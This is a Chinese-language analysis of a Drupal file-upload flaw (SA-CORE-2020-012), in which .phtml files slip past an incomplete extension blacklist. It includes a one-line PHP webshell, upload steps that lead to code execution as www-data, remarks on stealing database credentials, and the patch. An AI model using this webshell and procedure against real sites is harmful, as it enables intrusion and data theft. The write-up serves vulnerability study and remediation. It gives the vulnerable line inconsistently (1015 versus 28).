软件: Drupal Core 8.7.5(受影响版本:7.x < 7.78、8.x < 8.8.11、8.9.x < 8.9.9、9.0.x < 9.0.8)
CVSS: 8.8(高危)
CWE: CWE-434 —— 危险类型文件的无限制上传
CISA KEV: 是 —— 已知被利用漏洞
公告: SA-CORE-2020-012
Drupal 是一个用 PHP 编写的开源内容管理系统(CMS),与 WordPress 或 Joomla 类似,但更倾向于构建更复杂的系统——企业网站、多语言平台。Drupal 采用模块化架构,可以通过启用/禁用现有模块或从社区安装额外模块来扩展功能。
任何 CMS 的基本功能之一就是允许用户上传文件——个人头像、附件文档、文章附件。Drupal 将这些文件保存到 sites/default/files/ 目录,并通过 Web 服务器(Apache 或 Nginx)直接对外提供。
⇒ 这构成了一个明显的攻击面:如果攻击者设法将 PHP 文件上传到该目录,Web 服务器收到访问请求时就会执行该文件。
为防止这种情况,Drupal 构建了多层防御:校验文件扩展名、重命名危险文件、放置 .htaccess 以阻止上传目录中的脚本执行。但在 8.7.5 版本中,攻击者恰恰利用了这些防御层之间的盲区。
该漏洞需要一个具备文件上传权限的账户。在 Drupal 8.7.5 的默认配置下,普通用户(已认证)只有查看内容和发布评论的权限——没有创建文章或上传文件的权限。
| 账户 | 是否可利用? | 说明 |
|---|
| 管理员 | 是 | 拥有完整的上传权限 |
| 编辑 / 内容创建者 | 是 | 如果被授予“创建内容”权限并由管理员开放上传 |
| 已认证用户(默认) | 否 | 默认没有创建内容或上传的权限 |
| 匿名用户(未登录) | 否 | 没有上传权限 |
然而在实际中,许多 Drupal 站点会向普通用户授予内容创建权限(论坛、社区博客、允许投稿的新闻网站)。在这些情况下,攻击者只需注册一个账户即可利用漏洞。
攻击流程:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
在文件 core/modules/file/file.module 中,有一个正则表达式用于判断哪些文件被视为可执行文件:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

该正则列出了 7 种扩展名:phar、php、pl、py、cgi、asp、js。任何扩展名匹配该列表的文件都会被 Drupal 自动追加 .txt,从而中和其执行能力。
然而,PHP 引擎并非只处理 .php 文件。根据 Web 服务器的配置,它还会识别并执行其他扩展名:
| 扩展名 | 含义 | 是否包含在正则中? |
|---|---|---|
.php | PHP 标准 | 是 |
.phtml | PHP 替代模板 | 否 |
.php5 | PHP 5 处理器 | 否 |
.pht | PHP 模板 | 否 |
.phps | PHP 源码 | 否 |
.shtml | 服务器端包含(SSI) | 否 |
有 5 个 PHP 扩展名变体完全不在该正则中。这意味着,一个名为 shell.phtml 的文件上传到 Drupal 后 → 正则不匹配 → 不被重命名 → 以原始名称保存到上传目录 → Web 服务器看到 .phtml → 将其作为 PHP 执行 → 攻击者实现 RCE。这就是根本原因:Drupal 使用黑名单来阻止危险扩展名,但该名单并不完整。
当用户上传文件时,Drupal 会在保存前让文件依次通过 3 个校验函数。下面分析为什么这 3 个函数在处理 .phtml 时全部失效。
file_munge_filename()(core/includes/file.inc)目的:检测文件名中间部分的危险扩展名,并通过追加 _ 来破坏它们。函数的工作方式如下:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
例如对于 shell.phtml:
explode 将其拆分为 ["shell", "phtml"]shift 取出 "shell",剩余 ["phtml"]pop 取出 "phtml",剩余 []foreach 不执行"shell.phtml"但是,如果文件只有一个扩展名,该函数不会介入。因此,该函数仅设计用于处理包含多个扩展名的文件。
FILE_INSECURE_EXTENSION_REGEX(file.module:1015)这是主要的防御层。第 1015 行的代码如下:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
如果文件名匹配该正则 → 将 MIME 类型改为 text/plain 并在末尾追加 .txt。
对于 shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') 返回 0因此,这部分本应拦截危险文件,但由于正则不知道 .phtml 是危险的,文件便直接溜了过去。
.htaccessDrupal 会在 sites/default/files/ 目录中放置一个 .htaccess 文件:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
php_flag engine off 指令会关闭整个目录的 PHP 引擎,但它只对 mod_php5 生效。Drupal 8.7.5 运行在 PHP 7 上,这意味着 mod_php7 处于启用状态且未被禁用。
此外,.htaccess 还有另外 3 个弱点:
.htaccess — 该文件在 Nginx 上完全无效AllowOverride None → .htaccess 会被忽略mod_php)的服务器 → php_flag 指令不生效echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
使用具备上传权限的账户登录 Drupal → 内容 → 添加内容 → 文章 → 在 Image(图片)字段中选择文件 webshell.phtml → 上传。
Drupal 接受该文件,不会重命名,并以原始名称保存到 sites/default/files/。

之后,使用 whoami 执行 shell 调用:

至此,我们已成功以 www-data 身份实现 RCE。
进一步测试以查看凭据:

攻击者可以读取包含数据库凭据的 settings.php,导出整个数据库,安装反向 shell,或将权限提升至 root。
更新正则表达式 — 添加缺失的 5 种扩展名:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
更新 .htaccess — 增加对 mod_php7 的禁用:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
该补丁有效,但仍依赖黑名单。如果将来出现新的扩展名(如 .php8、.phpt),正则表达式仍需再次更新。白名单方案——仅允许已知安全的扩展名——才是更彻底的修复方式。
| 漏洞文件 | core/modules/file/file.module 第 28 行 |
|---|---|
| 根本原因 | 正则黑名单缺少 .phtml、.php5、.pht、.phps、.shtml |
| 影响 | 上传 .phtml → 服务器执行 → RCE |
| 被绕过的 3 层防御 | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| 补丁 | 在正则中添加 5 种扩展名 + 在 .htaccess 中禁用 mod_php7 |